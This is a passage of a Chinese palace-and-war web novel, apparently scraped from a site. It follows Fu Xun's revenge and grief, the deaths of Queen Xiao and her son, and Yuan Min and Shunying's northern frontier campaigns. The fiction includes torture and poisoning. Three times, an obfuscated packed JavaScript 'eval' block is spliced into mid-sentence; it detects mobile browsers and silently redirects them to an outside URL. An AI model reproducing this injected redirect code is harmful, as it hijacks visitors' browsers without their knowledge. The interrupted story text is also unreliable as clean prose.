冰冷的月光下,院子里全是人,徐太妃、程太嫔、周太妃……蛇、鼠、虫、蚁、蜈蚣、蝎子密密麻麻爬了她们满身。她们皮肉之下,有什么东西在不断鼓动,嘴巴惊恐地张开,却好似被什么堵住了喉咙,发不出一丝声响。 苻洵面带微笑,静静看着她们的惨状,声音冰冷而讥诮。 “以其人之道,还治其人之身,滋味如何?” “当年你们一拨又一拨地派人去围堵我娘时,是否想到会有今日?” 他疾言厉色:“母后,看清了!”一双臂膀铁钳似的,拖着孟太后站直,扶正她的头、逼迫她面对那可怖的场景。 “害过我娘的,我一个都不会放过。除了你,母后……” “你应当庆幸自己生了个好儿子,他可是这世上,唯二对我最好的人之一。虽然你成天在哥哥面前说我坏话,可我不忍哥哥伤心,所以不会伤害你。” “你看,嫂子侍疾这么久都安然无恙,还不是我在帮她。” “所以啊,你们最好老实些,哥哥面前什么该说、什么不该说……” 萧玥娘躲在偏殿里,不敢发出一丝声响,不知熬了多久天才亮。 次日,孟太后生了重病,半个月后,在噩梦连连之中,惊惧交加地死去。 苻洵也许永远都不会伤害苻沣,却不一定永远不会伤害他的妻女。何况,苻洵现在有充分的理由伤害她的隽儿。 苻沣子嗣稀薄,洛川别苑的侍妾却接连有孕。 就在她迟疑的半晌,苻隽在她怀里逐渐没了气息,小小的身体也逐渐冷了下去。 悲痛欲绝时,御医的话给了她最后一击,锦瑟给的药是对症的。是她迟疑太久,活活拖死了亲骨肉——她和苻沣盼望多年,唯一的男嗣。 三月二十九,苻沣收到苻隽夭折的消息,如晴天横遭霹雳,从北卢郡不断换乘快马、昼夜奔驰,终于在七天后赶回灵昌。 当夜,萧玥娘抱着已僵冷的亲子尸身,语无伦次地同他喃喃絮语了一夜,天亮后才平静了些。 苻沣心下稍安,强打精神去了北宸殿。朝会期间,长秋宫突然浓烟滚滚、火光冲天,萧玥娘抱着幼子的遗骸,自焚身亡。 爱妻幼子俱亡,苻沣悲恸过度、吐血数升,自此心灰意懒,数次提出传位于苻洵,苻洵宁死不受。 那以后,苻沣虽仍强撑着处理国事,身子却一天不如一天,苻洵遍寻名医和珍稀药材,才堪堪吊住了他的性命。 半年后,苻沣稍微振作了些,十多年同甘共苦、结发情深,他不愿续弦,并遣散六宫。然后昭告天下,要将苻洵长子苻阙过继到自己名下,立为太子。 苻洵激烈推拒了一段时间,却不得不顾念苻沣的吐血之症,只得无奈应允。 朝廷上形势剧变,至少七成的势力站在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14061640|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军功赫赫、年富力强的太子生父苻洵这边。苻洵却要求众臣必须以苻沣为尊,无论是谁、敢对苻沣稍有不敬,皆被苻洵当庭诛杀。 . 永平三年九月,冯建再组二十万大军,攻破朔门关、沿武原盆地南下,朔宁府告急。 这次踢到了更硬的铁板,翊王元旻与王后褚舜英携手,整合朔宁府、临梁郡、洺州各路大军,御驾亲征。 不到一个月,北宛大军再度溃败,元旻和舜英却在对方调兵遣将的路数上,察觉到一股异样,那是之前对阵时,北宛骑兵从未有过的诡谲。 苻洵联合了冯建! 战胜后的翊军将所有死者和战俘枭首,无头尸身从边墙扔回北宛,头颅摆在上冻的伊河中央、筑为数千京观,威慑河对岸的郅阳、北卢两郡。 班师回朝的路上,元旻唇角扬起一丝冷笑:“当年与冯彬结为姻亲,防的便是今日。” 永平四年开春,摩云群山盗匪作乱,被崔长治的金州军一通乱撵,从西麓逃窜至荣国宕渠、通安一带。 同时,伊河化冻之后,上阳、临梁一带却不组织疏浚河道。雨季如期降临,滚滚激流夹杂着万钧泥沙,从乌兰山南麓段开始、一路决堤,将荣国修建中尚未定型的边墙冲垮大半,新垦出的北卢、郅阳约四成土地淹成泽国。 而翊国沿河驻军早已拔营撤退,并提前坚壁清野,并未受影响。 “人啊,终将变成自己曾经最厌恶的模样”,舜英垂眸怀想半天,微微苦笑,“可是,我不后悔,贺将军生前说过,这些脏事总有人要做。只要能以战止战,什么都值。” 驱虎吞狼、伊河水患、杀俘、筑京观。 “若不以牙还牙,来日被屠戮的便是我大翊子民!”当时,舜英向元旻建言时,极力压抑住痛苦和颤抖,声音平静而坚决。 那时,元旻目光复杂注视着她:“得妻如此,夫复何求?” 而此刻,他眉眼漾着笑意,正掀开车帘、指向一望无垠的平原:“军郡要到了,快把承祎抱过来!” 永平一年正月到四年六月,历时四年半,投入无数人力物力,终于在宣庆垦出三大军郡:抚恩、广宁、怀戎。三大军郡随宜开垦、且耕且守,虽不能自给自足,却已缓解部分军费压力。 此举也将北防线拉得更紧密,若北宛再度入侵,传书、调兵所需时间减半。 还有其他考量。 朔北一千七百里边防,历来是朔宁府由宣氏驻守、宣庆府由元氏子弟驻守,长期以来难免拥兵自重、尾大不掉。如今一分为三,皆由朝廷直接派驻武将。 改完了宣庆,接下来该是…… “朔宁还得缓缓,我掺进去的人还不够”,元旻说着,一只手抱起承祎,一只手拉住缰绳,跳上马背就跑起来,“承祎快看,这就是爹爹守护的江山!” 舜英吓了一跳,骑马追过去:“才多大的孩子,这样吹风?” 元旻扬声大笑:“承祎的爷爷说,孩子不摔打不成才。” 舜英腹诽,那是昭王不喜欢你,你看他舍不舍得摔打元旷和元昀? 元旻稳重惯了,再疯癫也还是顾着些分寸,抱着孩子跑马一圈就回了营帐,将承祎交给傅母。用过晚膳后却不回帐歇息,反迎着夕阳晚照指向西北:“往西八十里是乾河,往北百里是玄阴山。阿英,许久没同你比试过,往西还是往北,你说了算。” 舜英顺着他目光看去,一贯温婉的笑容也染上几分鲜亮:“陛下心心念念少年时饮马乾河的风光,不如往西。” 91. 日月争辉 元旻骑的是百年难遇的玉狮子,自然一马当先,舜英骑着武煊送她的黄骠马紧随其后。 元旻走走停停等她跟来,他们到了乾河南岸时,已是皓月当空。曲水潺潺,带叶漂流千里去,粼粼波光将月色绞成满川碎银。 两人从昇阳出发,前些天只顾着赶路,旅途颇为颠簸,刚才又骑马近半个时辰,一身热汗粘在衣上,又闷又累。 舜英发现他正盯着自己,莫名打了个寒噤,却还是顺从地宽衣解带、只穿着里衣走进淙淙流水,将大半个身子浸在水中,河水干净清凉,倒令连日来的疲惫消减不少,慢慢也觉着舒坦。 素纱衣又轻又薄,飘散在水中、像一朵透明的花,嫩白肌肤上旧伤不计其数。起初元旻觉得有些膈应,时间一久越来越顺眼,如今再看竟有些血脉贲张——那全是她为他受过的伤,完完全全都是为他。 他不禁想起三江村那湾波光粼粼的水潭,她清新柔韧如嫩柳、清淡明净如芙蕖。那是他第一次真正感受到女子的美好,第一次怦然心动、浮想联翩。 他从小在宫里长大,身边多的是美貌女子,争奇斗艳、桃艳李秾,却没人比她更让自己踏实安心。即位之后,他心事萦怀,也曾想过放下,甚至没有拒绝太后送来的教习宫女,却总不能畅意,遑论三江村那夜悸动。 她们花团锦簇、精雕细琢,却总好似缺少些什么,直到海棠树下那一夜,他终于明确了那感觉——那股永远向上的鲜亮劲,生机勃勃、无需任何外物修饰。 她是这世上最适合他的女人,无可替代。 而今,他终于成功收拢权柄,也终将如年少所愿,一生一世一双人。他的后宫不会有独守空房的王后,也不会有同甘共苦结发情深、却只能屈居妾位的宠妃,更不会有如他幼时那般、被父亲冷待和提防的嫡子。 她在他身边一分分生长、舒展、绽放,花开堪折直须折,她本就该完全属于他,从人到心、从生到死——若没有那桩交易、那段隐秘往事,没有那人…… 没事,时光如大浪淘沙,所有深陷困顿时不得已的妥协、屈辱的过往终将被抹去,一如那令他屈辱的人、终将和那令他屈辱的国家一起,被他清理得干干净净。他和她之间,终将再无旁人、干干净净,就像那人从未出现过一样。 他也跟着下去浸了会儿,在水中抱住她,她的身躯温软馨香,他胸膛涌起异样躁热,情难自已哑声道:“阿英,我们再生几个孩子吧。” 舜英身躯一僵,张了张嘴却什么都没说,踌躇许久才试探道:“阿旻,你还是纳几房妃嫔吧。” 她身子受过大寒,不利子嗣,生承祎和承徽时大出血、险些丢掉性命。元旻等她身子调养得好些,又开始对她恩宠不断,她只好偷偷去御医署配避子汤药。 岂料过了没多久,元旻知晓此事后,马上处置了几个给她配过避子汤的御医——以谋害王嗣的罪名,在御医署前庭活活杖杀,全署观刑杀鸡儆猴。从此,再无人敢为她提供避子药物。 士为知己者死,她怕的从不是死亡。只是,想过要战死沙场、累死朝堂,却不甘心如此病死产床。 元旻有些黯然:“你就这么着急将我推给别的女人?” “替你开枝散叶,本就是王后的职责”,舜英默了半晌,委婉地劝慰,“我既决定受册封,就会承担应尽之责。” 宗庙传嗣是国之根本,世道混乱、强存弱亡、意外层出不穷,有几个国君是嫡子顺利继位、并安然掌权到老的?他们先是国君王后、然后才算是夫妻。 “我此生绝不纳妃嫔、无异腹之子”,元旻唇角噙笑,眼中闪过异样光彩,一字字坚决道,“一诺既出,必守一生。” 舜英不再言语,仰头看向天心皑皑银光。至高至明日月,她不理解他对此事的异常执拗,却也无话可说。 自古以来,哪个后妃应该、能够拒绝君王恩宠?何况这条路本就是自己选的,只是…… 夜风凉爽、吹得她十分倦,于是阖眼睡去。 . 军郡之间均相隔三四百里,由驰道相连,跑马、行军和运送物资都极为便捷。同来巡边的还有元晞姜嫣夫妇,带着长子承陵、次子承赟,一行人晃晃悠悠走了大半月。 从怀戎、广宁再到抚恩,郡中居民除了戍边将士,还有部落被元晞围剿后、来依附大翊的数万北宛边民,另有宣庆本地牧民无数,正在收割第一茬麦子。 晚上,一行人在玄阴山下搭起帐篷,烤肉喝酒、谈笑风生。 承徽被元旻抱在怀里,眼巴巴看他喝酒、喊着“爹爹”,元旻笑盈盈端起酒杯喂她嘴里,小承徽“哇”一声哭起来。 舜英叹了口气、刚把承徽哄好,又见承祎扯着元旻袖子要吃肉,他从自己面前切了一块。她忙吩咐傅母将炙羊肉剁碎了再喂,岂料承祎刚尝了一点、立即呸呸狂吐:“苦……” 舜英疑惑地从他面前切下一块,尝了口立即吐出来:“这是倒了整罐子盐?咸得发苦了。” 元旻神色如常咽下一口,疑惑道:“是么?我吃起来正好。” “难道我嘴巴有问题?承陵来尝尝。”舜英正要再切一块,风吹来烤羊油烟,熏得她胸口发闷,转头呕了出来。 元旻、元晞和姜嫣三人交换了个眼神,顿时了然。元旻忙抱起舜英往帐篷里走,元晞跑去喊随军御医,姜嫣去后厨安排伙食。 半晌后,御医诊出褚王后再度有喜。 次日,姜嫣护送舜英、带着承祎承徽兄妹先行回京。 再无人注意那块咸得发苦的炙羊肉。 . 洛川别苑地牢中,衙役将烧红的烙铁贴到血肉模糊的妇人身上,苻洵面无表情看着,直到那妇人开始哀求讨饶,才冷冷发问:“谁指示你换了给嫂子的药。” 秦川替他补充:“莫以为你父母儿女都被送走了,白袍卫随时请他们过来,帮你说。” 妇人终于崩溃,嚎啕大哭:“是嘉州卢氏的家主……他说主子太过顾念手足,不肯早作决断,想豁出去替主子谋划一把。” “于是给了奴婢五万钱,吩咐奴婢伺机给小王子下毒。” 苻洵站起来,踉踉跄跄走了出去,秋日的阳光依旧炽烈,灼得他两眼通红、满眶热泪。 “把这妇人捆到校场去凌迟,叫白袍卫、府兵、上下仆婢都来观刑。” “卢氏阴怀谋逆之心,寻个时机、夷三族。” 为什么,事情会变成这样? 从始至终,他只想将兄长稳稳托那个位置上,替兄长征战四方。两兄弟一战一治,政通人和,他要让兄长成为这片土地上成为最高贵、最威风的王,在所有会盟上都是执牛耳的那个。 嫂子忌惮他、朝臣弹劾他,没关系,辞官吧,哥哥总会想起他的好。 直到他经历过爱而不得,才突然明白,他在哥哥心中是永远高不过妻子的。 于是,他想和嫂子缓和关系,办法用尽却只得到她敷衍的微笑。 剑走偏锋,他想给嫂子下点瞧着严重、对容颜有碍却对身体无害的药,拖个十天半月,再让锦瑟去献养颜药,博取嫂子好感。 那药却被换成了急性毒药,又莫名其妙被隽儿吞下,幸亏锦瑟聪慧,找到了对症的献上去,可嫂子不信他,就那样拖死了隽儿。 然后,嫂子也随着隽儿去了,哥哥肝肠寸断,若非还有三个女儿,只怕也随嫂子去了。 回到主屋,锦瑟抱着女婴过来,让他给孩子取名。 “原来你小时候这么招人疼”,他看着小女孩软糯可爱的面容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14074638|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温柔地笑了,“就叫阿忆,苻忆。” 锦瑟又说,苻沣召他们一起进宫赴中秋宴。 他恍若未闻,半晌后才如梦初醒:“一起去吧,过了中秋我再北上。” 苻沣有了阿阙后,精神好了很多,听御侍说最近饭量已恢复如前,并重新开始断断续续练武了。 苻洵带着锦瑟走进长秋宫时,苻沣正埋头削着什么,散碎的木屑透着清香,苻阙迈着小短腿迎到殿门,结结巴巴喊着:“小叔叔……小婶娘……” 苻菁和苻蓁也迎上来向他们请安,苻洵把准备的礼物交给她们。 苻沣已削好一只木头鸟递给苻阙,含笑抬头:“都愣在这做什么,后花园已经摆上菜了,都过去吧。” “阿洵,刚垦出来的地淹了便淹了……咱们以前没经验,以后记得年年疏浚就行了,既然占了那块地,疏浚河道就不只是翊国的事了。吃一堑长一智,莫要灰心。” “你嫂子临终跟我念叨了一夜,说她错怪了你,希望咱们兄弟不要再生嫌隙。” 苻洵埋下头,一碗接一碗喝闷酒。他知道,这是嫂子妥协了,想用自己性命去填平之前的嫌隙,再保护她夫君一次。 往后余生,他将背负这沉重的罪孽,永远。 半晌之后,他抬头挤出微笑:“我瞧着有了阿阙,哥哥气色好了不少,何不再养几个孩子,宫里也热闹?” “娶妻纳妾就算了”,苻沣摇摇头,笑容温厚,“有阿阙就很好,像是看着小时候的你一天天长大。” 苻洵眼眶发热,轻声道:“明天还要启程北上,臣弟今晚先行告退。” 拉起锦瑟拜别后,转身离去。 背后传来苻沣的叮嘱:“北卢郡快入冬了,多带些厚衣服。” “阿洵,早点回来过年!” 苻洵全身一震,步履未停,却不能自抑地双手颤抖,泪盈满眶。 . 北卢郡苍凉的风刮得急切,伊河水面已冻了层薄冰,广袤的荒原上衰草连天,乌兰山的南麓有细雪开始飘落。 苻洵领着白袍卫,顺伊河西岸一路北上,直走到能看见乌兰山了,才安排部属安营扎寨。 中午,苻洵坐在伊河边,面朝东方大翊,听郎琊陈述传回的翊国线报。 “抚恩、广宁、怀戎三军郡已投用,北宛骑兵再难跨过玄阴山了。” “上阳、临梁、镇南又增精兵、数量未知。” “屿城对荣国百姓的出入检视得越发严了,渗不进去。” “九霄山、摩云群山、戎陵山脉、蓥山东麓都布了大量木石阵,咱们这边受主子训练过的兄弟都被困住了。” 苻洵静静听着,露出了微笑:“元旻果然配作我的敌手!” 转头问:“秦川,你且大胆说说,如今的大翊像什么?” 秦川:“各国皆言,如日中天。” 苻洵又问:“那他们如何说我荣国?” 秦川:“虽疆域不广,却君臣一心、政通人和,又有主子这位……权臣南征北战、开疆拓土,诸国无有不惧,已有传言其仅次于大翊,如月之初升。” 苻洵点点头:“权臣,说得好,朝中有酸儒自诩忠直,骂我与景樊把持朝政,说我们‘荆笔杨板’。郎琊,如今诸国之势,你以为我们当如何?” 郎琊摇了摇头,表示不知。 苻洵笑意更盛:“打不过,只因时机未到,我们先等!” 他抬起头看向天空,目光寥远,悠悠吟道:“月将升,日将没;荆笔杨板,几亡诸国。” 二人顺着他的目光,看向高远的天穹,只见方才还在头顶的太阳已开始西斜、缓缓滑向伊河之源;而在东方天边,一轮淡若虚无的圆月正慢慢清晰、光芒渐盛,升向中天。 92. 北疆议和 舜英坐在书房里,把笔杆子捏得吱吱响。 若非发髻和发簪的束缚,此刻她一定怒发冲冠了。 两岁的承祎和兕儿在庭中追着打闹、一会儿吵架一会儿大笑,承徽在檐下捧着被养死的小鱼抽噎,隔壁屋里刚满月的承祉在傅母怀里嗷嗷大哭…… 小孩真可怕,刚出生的、睡不着觉的、活泼的、多愁善感的、满地跑的……没哪个阶段省事。 许姿站在一旁报账,口齿爽利、条理清晰,她生生一个字都听不进去。 好容易等到冯彬和元昙两口子从上书房回来,元旻走在队首。他一来,承祎和兕儿也不闹了、承徽也不哭了,承祉吃饱了正昏昏睡去。 舜英暗自想,还是他面无表情的时候比较吓人,可止小儿夜哭。 “刚出月子就在这对账,头又不疼了?”元旻抽走她手中账本,“歇几天再看吧,快午膳了,母后说趁着今天人齐,去后苑小聚一下。” 碧宁书院早就扩建完了,元昙却尤其稀罕洛京,每过两三月都要去小住十来天,还抱着兕儿,说是提前熏陶书香;而冯彬……自从兕儿出生,元旻开始教冯彬处理政务。 可能是小别胜新婚,元昙待冯彬倒比从前和气了不少,如今她稍稍显怀,瞧着已有四个月身孕。 再过半年,兕儿就三岁了,夫妻俩已替他起好大名——冯思源,意为饮水思源,元旻对他们的识趣很是满意。 这次小聚,是因北边又有喜讯传来——冯建他……又又又求和了! 永平四年,也就是去年的冬天格外冷,北宛冻死牛羊马匹不计其数。四年来,冯建倾举国之力攻打大翊,次次铩羽而归,痛定思痛,决心签订盟约,修好友邻。 次次求和、次次翻脸,元旻本不想理睬。 这次冯建却像是真的打怕了,诚意十足、下了血本,国书上黑纸白字写明了每年向大翊上贡的牲畜、马匹和铁矿数量,看那语气、翊国还能再往上谈谈。 元旻的脸上看不到情绪起伏:“阿彬、阿昙,你们如何看待此事?” 元昙眼神闪了闪,柔声说:“能停战止兵自然是好的。” 冯彬眼神温柔地斜了斜目光,凝视元昙一瞬,温声附和:“外臣在昇阳也呆习惯了,能就此停战自是好的。” 从元昙下降冯彬的事,舜英大致能领会元旻之意,如今两人这样答复,有些意料之外,却又都在情理之中。 她略带期冀地瞥了一眼元旻,见他面无表情、眼神坚定。即位四年多,他已彻底变成心思深沉、阴晴不定、难以撼动的强势国君。 心底暗叹一声,她神色不自觉带了几分恻隐,缓缓扫视过冯彬夫妇,忽瞄见元昙头顶那支金簪,笑容一滞。 略有些眼熟的款式:花丝做工,主体是一架琵琶、旁侧一丛幽兰,镶嵌点缀着珊瑚和石榴石。 当夜,那个许久不曾再见的人,突兀地闯入她的梦境。 分不清是灵昌还是维阳,成串的灯笼挂在街道上方,照得灯下少年红衣如火、眸光流转。他站在马车前,笑着向她施了一礼,接过店小二手中的木盒,看了一眼后飞快盖上。 盒子盖上的瞬间,那簪子骤然在她眼前变得清晰——破碎的芙蕖簪玉片。 他明明是转身离去,笑容却越来越近、眼神缱绻而留恋,眼眶微红、泪盈于睫。就算是在梦里,她也知道他是宿敌,却总在面对他时软了心肠,偏过头去不愿看他泪眼。 他离她越来越近,一道又一道殷红洇上他深红的衣,染上他瓷白无暇的脸颊,血越来越多,浸得他一身长袍像是从血里捞出来似的。 这些,都是谁的血? 滬南几十万百姓?狄、夷、月等三十七部的异族?北宛二十万大军?萧王后和幼子苻隽? 血越染越多,往后还会染上谁的? 大翊子民?她的亲朋挚爱?以及……她自己? 苻洵越走越近,伸出手想抚上她脸颊:“姐姐,好久不见,可是已经忘了我?” 在梦里,她心头一酸,怔怔看着走过来的他,手足无措地红了眼圈。 却也只迷惘了短短刹那,片刻之后她清醒了,侧过头躲开,抽出长剑抵在他的心口,目光复杂地注视着他:“忘又如何,不忘又如何?道不同不相为谋。” 他慢慢走近,身后拖出长长的鲜血,忽然伸手攥住她双肩,将她拉到自己身前、紧紧抱住,低声耳语:“哪怕恨,都不要忘了我。” 任由那长剑穿心而过,一簇血花绽开在他胸前,在殷红的底色之上洇出更深的胭脂红。 咸涩的泪滴入口中,鼻端充斥着铁腥和血腥气,满眼猩红…… 然后,温热的泪变得寡淡、所有的腥气消失、满眼猩红化作雾蒙蒙的灰色。 耳边响着他喃喃的哽咽:“不要死……不要抛下我一个人……求你……” 最后那低喃也消失了,她甚至感知不到他抱着自己时轻微的颤抖,只剩无边无际的寂静虚空。 舜英从梦中惊醒,呆滞地转着眼珠,茫然四顾,东方有浅浅的鱼肚白,灯火幽微,素馨花的淡香弥散满殿。寝殿里空空荡荡,元旻已上朝走了。 承祉刚刚满月,她尚未完全恢复,脑子里昏昏沉沉像倒了浆糊。思索片刻,她决定躺下继续睡。 合上双眸,却辗转反侧睡不着,眼前翻来覆去都是那支破碎的簪子,以及苻洵含泪带笑的眼神,悲戚的哽咽…… 怕不是魔怔了。 寝衣被冷汗湿透,黏在身上很是难受,她再也躺不住,一骨碌从床上爬起来,值夜的宫人忙围了过去。 元旻的说话声从殿门传进来,等宫女替他将衮冕换成常服后,才走到床边坐下:“怎么不多睡会儿?” 舜英接过热帕子擦了擦脸,站到地上,张开双臂等宫人替她更衣,笑了笑:“刚刚有个糊涂想法,又觉得不可行。” 宫人用托盘托来几套常服,元旻起身一边替她挑选着,一边问:“什么想法?” 舜英:“总感觉冯建居心不良,本次盟约也是权宜之计。” 元旻笑出声来:“国与国之间的盟约,哪个不是权宜之计?” 想了想又调侃道:“荣国还是遵守承诺的,从不正面攻打我们。” “那是他们现在打不过,只能暗中支持别人来打”,舜英对他东拉西扯十分无奈,任宫人替自己系好腰带,坐到菱花镜前,“盟约还能维持多久?听说他们太尉近来同北宛走得很近。” “说人就说人,不必硬加官职。苻洵如今哪怕自贬为庶人,也掌着荣国七成的兵力”,元旻拿起用了半根的螺子黛,轻轻替她描着眉,漫不经心地说,“他们不是一直走得挺近?苻洵可真会跟人拉关系。” 舜英听出他语气带刺,心底暗叹一声、下意识要摇头,元旻扶住她脸颊轻声道“别动”,她只好直接张嘴:“前几天好像听摇光说,他正在招兵买马、扩建骑兵?” 历年来,荣国的骑兵都极少,原因无他——养不起。 元旻凉凉道:“已初具规模,约有四万,叫龙骧军,加上英平郡原有的两万,共有六万轻骑。” 探来的消息还挺准。 说到此处,他神色也变得凝重:“六万骑兵,在苻洵手里,少说能用出二三十万的效用。” 舜英想到梦中场景,有些担忧:“阿旻,这次盟约你要亲自去么?” 元旻牵过一绺她的头发绕在指尖:“签盟约去的是朔宁府的武原县,冯建过来,宣正浩虽说首鼠两端,却也是积年老将了。朔宁府除了轻骑,还有两千铁骑,就算你信不过他,还信不过我么?” 舜英垂眸,半晌轻轻说:“我跟你一起去吧,带上隐蝠卫。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14090889|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元旻摇头笑了,看着宫人从抽屉取出桂花油、倒了几滴在掌心化开,抹在她头发上,再用梳子替她慢慢顺着发丝,吩咐说:“梳凌云髻。” 舜英默默咽下“坠马髻”三个字。 元旻说:“哪至于如此?你自己身子还没好,跟着我瞎跑什么?” 从镜子里瞥见她眼神,心软了几分,柔声道:“你若还不放心,我把开阳那队人也召过去。还有,每五天给你传信一次,总可以了吧?” 舜英扶了扶额,确实感到一阵晕眩,于是无奈地说:“那你别再忘了。” 元旻忍俊不禁,笑容映得眼睛都明亮几分,捏了捏她的脸:“都听阿英的。” 等她梳妆完毕,两人一起走出殿门,傅母正抱着承祉过来。舜英接过襁褓,轻轻摩挲了一下稚子软嫩的脸颊,又将孩子还给傅母,听傅母讲他饮食睡眠的琐事。 元旻等不及,着急着去上书房,舜英本想稍后就去,正在宣步辇,元旻提醒说:“今天柳大家入宫,你不继续练琴了?” 柳大家是乐府的古琴供奉,按惯例、身为王后应该会一门乐器,舜英成婚后合计了一段时间,决定选择学琴。可是前两年,她一直忙着盯九功馆、盯宣庆垦荒、盯上阳临梁练兵进度,直到去年有了承祉,才稍得闲暇,断断续续练了大半年。 元旻眉眼带笑,目送她转向后苑,直到她的身影消失在宫墙转角处,才回过身上了轿辇、前往上书房。 御侍岚烟带着一行宫人走进来,先呈上一碗墨黑的药汁。 元旻接过来一饮而尽,从始至终表情没有分毫变化。岚烟又递上蜜饯、漱口水等物。 “以后不必准备蜜饯了,反正也喝不出来”,元旻只拿过漱口清茶,突然问,“药味儿很大么?” 岚烟酝酿了片刻措辞,轻声道:“陛下不如再请御医看看。” “无妨,御医都说了是脾虚胃寒”,元旻摆了摆手,“先喝段时间药,看看再说。” 目光忽然被案头瓶花吸引,剔透的琉璃瓶中,插着一大束青翠洁白的茉莉,凝着颗颗晶莹露珠。 这是昨天黄昏,舜英从景和宫花圃里剪下插瓶后,送到他案头的。 “花香清甜幽雅,可令你疲惫时神清气爽。”那时候的她,眼睛亮亮的注视着他,如是说。 听春羽说熏香对孕妇身子不好,自从舜英有了承祎兄妹,他便不再用熏衣香。 本该是一阵淡甜的茶香,可此时,他只隐隐约约嗅到丝缕极淡的甜。 去年舜英诊出有喜,她的身子前几年受过损,每次有喜饮食都很注意,吃得极其清淡,他与舜英同食同住、吃什么都寡淡无味,也只当寻常。 直到几天前,舜英出月子后,冯姮摆家宴小聚,他看着舜英一边津津有味吃着松鼠鳜鱼,一边赞叹还是宝慈宫小厨房做出的菜味道纯正…… 他也夹了一筷子放进嘴里,味同嚼蜡。 他不想让她知道,她本就身子不好,生儿育女连跨两道鬼门关,还殚精竭虑执掌六宫、操心军务布防,他舍不得她更操心劳累。 那以后,他依然与她同吃同住,布菜之后、哪样食物她说好吃,他才跟着大快朵颐,其余的不予置喙。他本就寡言稳重,此番下来、她果然未觉异常。 可此时,那束鲜活的茉莉花看得他眼眶微微发热,唇角不自觉上扬,轻声吩咐岚烟:“多找几个御医来看看吧。” 这沁人心脾的纯白花束,若他嗅不到香气,怕会践踏了她的用心良苦。 请积年的御医诊治的同时,他又唤来玉衡去民间寻善于岐黄的能人异士。 “玉衡,王后视你如亲弟,她刚诞下承祉,身子虚弱,该怎样做怎样说,你心里有数。” 玉衡埋下头,沉声道:“承蒙不弃,卑职亦视王后如亲姊,此事定然对她守口如瓶。” 93. 武原宣氏 昇阳西去两百里,过商都、经龙门渡口北上抵达怀阳,再西北行数百里,便是位于地皇山脉、上阳郡永乐山之间的建兴城。 继续北上,临梁山脉和地皇山脉之间、从南到北依次排布三大盆地:平阳、定安、武原。 继续北望,盆地逐渐收拢、变得细窄,收束为狭长的峡谷,宛若人之咽喉。数段边墙依山体而建,呈三角状分布着三大关隘:望月关、神武关、朔门关。 位于地皇山和临梁山之间、从南到北的依次是:分隔临梁郡与朔宁府的神武关,被称作“大翊之喉”的朔门关。 而与朔门关并列、位于极北的望月关,处在大翊边墙最西段,俯瞰伊河,防范伊河对岸的异族三十七部——如今的荣国北卢郡。 “起初,上阳郡西守龙骨关,朔宁府北挡大宛、西抵异族,临梁郡震慑匪患、以及驰援南北”,元旻坐在车里盯着舆图,摇头道,“如今西边被苻洵杀得就剩个荣国了,倒方便了不少。” 元晞笑了笑:“正因有这三大关隘,北宛攻打大翊有时候宁愿绕到宣庆府毁边墙,毕竟那边山岭低矮,过了广宁郡就是一马平川。” 思索片刻又问:“王上,如今这境况,朔宁府还改军郡么?” “本打算一分为二,望月关一个、朔门关一个”,元旻沉吟半晌,缓缓说,“□□国既已与北宛勾连,此时不宜分兵。” 元晞叹了口气:“之前的草原有四十多个种族、大大小小部落星罗棋布,跟河西三十七部一样,都是不成气候的流寇。直到四百多年前,冯氏家族一统草原,一盘散沙顷刻化作心腹大患。” 元旻颔首赞同:“如今荣国吞并河西三十七部亦然,他们发展太快了,咱们最好这两年寻个时机与其大战一场。” 元晞会意:“主要是消耗掉他们的骑兵。” 元旻神色凝重了几分:“眼下主帅未定,我朝将才虽多,能与苻洵正面对抗的却并不多。” 不多,却还是有的。 虽无法像苻洵那般样样精通,却都术业有专攻。比如擅骑兵的宣氏,擅丛林战和武卒的崔氏,武煊、谢朗年纪尚轻,假以时日可堪大用,这两次武选也有几个好苗子,只是还需历练。 至于中帐之才,元旻善谋、元晞善断…… “可惜了,如贺浮白那样大才,可遇不可求”,元晞一瞬不瞬看向他,眼神肃然,“若陛下不弃,他日荣国举兵犯境,臣挂帅迎敌、义不容辞!” “朕怎会将战火烧到自家国土?自然是率先发兵西征、打到伊河对面,姜榷作战太过保守,武煊武焕还太年轻,就宣正浩吧”,元旻唇角微弯,“苻洵行事颇有章法、后手极多,若他都明目张胆举兵犯境了,定是已到危急存亡之秋,朕如何能安坐庙堂?” 苻洵,又是苻洵,短短四年已成心腹大患。 元晞想起那场无疾而终的招揽,又遗憾又后悔:“早知今日,当初便是拼着清誉尽失、撕毁盟约,甚至使两国提前交战,也该在洛京杀掉他。” 